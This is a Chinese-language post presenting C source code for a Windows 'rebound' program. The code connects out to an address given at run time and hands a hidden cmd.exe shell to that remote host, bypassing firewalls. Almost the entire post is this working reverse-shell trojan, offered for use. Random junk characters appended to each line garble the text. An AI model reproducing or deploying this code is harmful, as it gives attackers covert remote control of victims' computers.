这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 a-Y6ghs
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/* ============================== P.@dB.Ny
Rebound port in Windows NT 7Tdx*1 U
By wind,2006/7 }7 +%k/
===============================*/ /go[}X5QR[
#include gmbRH5k
#include 8]^|&"i.\d
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#pragma comment(lib,"wsock32.lib") #eOHe4Vt
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void OutputShell(); `1(ED= |
SOCKET sClient; _Ffg"xoC
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "WQ6[;&V
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void main(int argc,char **argv) IiqqdU]
{ ,o%by5j"^N
WSADATA stWsaData; V~j^
int nRet; OxGfLeP.R!
SOCKADDR_IN stSaiClient,stSaiServer; >fI\f <ez
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if(argc != 3) YR-G:-(#b
{ h`\$8oV
printf("Useage:\n\rRebound DestIP DestPort\n"); UHvA43
return; lWj*tnnn[
} 7)jN:+4N
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WSAStartup(MAKEWORD(2,2),&stWsaData); ~SBb2*ID
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9 ;p5z[jI
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stSaiClient.sin_family = AF_INET; /\- }-"dm
stSaiClient.sin_port = htons(0); y!P!Fif'
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); SR?mSpq5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n'V{
{ o/o6|[=3
printf("Bind Socket Failed!\n"); :G@z?ZJ[
return; :cWU,V
} 5["3[h
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stSaiServer.sin_family = AF_INET; c.Hw
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?#
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `i
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4z(B`t~7
{ xRacgny:I
printf("Connect Error!"); 7:?\1a
return; FqA4 OU
} %AA&n*m
OutputShell(); ZN$%\,<
} v:4j3J$z
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void OutputShell() -`XS2
{ O)vGIp?f't
char szBuff[1024]; L5I!YP#v
SECURITY_ATTRIBUTES stSecurityAttributes; X;W0r5T
OSVERSIONINFO stOsversionInfo; TS|Bz2(
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mP
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STARTUPINFO stStartupInfo; Y,0Z&6 <
char *szShell; 2H.g!( Oza
PROCESS_INFORMATION stProcessInformation; /}~=)QHH
unsigned long lBytesRead; 7yyX8p>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NJsaTBT
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KLW5Ad:/rI
stSecurityAttributes.lpSecurityDescriptor = 0; T(x@gwc
stSecurityAttributes.bInheritHandle = TRUE; L5x;#\#p
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r6uN6XCM
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u:|^L]{
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $+GDPYm'
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u*2?Gky
stStartupInfo.wShowWindow = SW_HIDE; zO"De~[9
stStartupInfo.hStdInput = hReadPipe; v(yJGEf0
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "JSIn"/
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GetVersionEx(&stOsversionInfo); g@!U^mr*3
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switch(stOsversionInfo.dwPlatformId) G$TO'Ciu:
{ p% mHxYP
case 1:
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szShell = "command.com"; b-VtQ%Q
break; VBi gUK4
default: K9Mz4K_
szShell = "cmd.exe"; 2YZ>nqy
break; |D-[M_T5
} RR[zvH} E
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T}^3 Re`i
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send(sClient,szMsg,77,0); (o B4*
while(1) S=)
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{ *1["x;A
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); a r8iuwfZ
if(lBytesRead) gyAJ#N|
{ [G$ #jUt/O
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Rmmu#-{Y
send(sClient,szBuff,lBytesRead,0); \O "`o4
} kH hp;<
else Ny7*MZ-
{ T>%
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lBytesRead=recv(sClient,szBuff,1024,0); hJ xL|5Uo
if(lBytesRead<=0) break; MwRLv,&"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *h0D,O"0
} m_0y ]RfG
} .8s-)I
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return; %f&Y=
}